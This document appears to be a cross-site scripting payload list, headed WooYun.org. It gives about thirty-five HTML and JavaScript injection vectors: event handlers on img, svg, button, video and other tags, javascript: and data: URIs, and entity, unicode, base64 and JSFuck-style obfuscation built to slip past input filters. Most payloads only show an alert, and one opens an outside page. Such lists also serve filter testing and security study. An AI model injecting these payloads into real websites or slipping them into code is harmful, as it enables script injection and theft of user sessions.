WooYun.org

<img src=x onerror=alert(1)>
<img/src=x onerror=alert(1)>
<img src=x onerror=alert(1)> 
<img src=x onerror=window.open('http://google.com');>
<img/src/onerror=alert(1)>
<img src="x:kcf" onerror="alert(1)">
<a href=javascript:alert(2)>M 
<a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M 
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
<script firefox>alert(1)</script>
<script>~'\u0061' ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script> // 
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>
<script>prompt(-[])</script>
<script>alert(/3/)</script>
<script>alert(String.fromCharCode(49))</script>
<script>alert(/7/.source)</script>
<script>setTimeout('alert(1)',0)</script> 
<form><button formaction=javascript&colon;alert(1)>M
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >M</button>
<p/onmouseover=javascript:alert(1); >M</p>
<var onmouseover="prompt(1)">KCF</var>
<div/onmouseover='alert(1)'>X 
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
<select onfocus=javascript:alert(1) autofocus>
<textarea onfocus=javascript:alert(1) autofocus>
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> 
<math href="javascript:javascript:alert(1)">CLICKME</math> 
<video><source onerror="alert(1)"> 
<audio src=x onerror=alert(47)>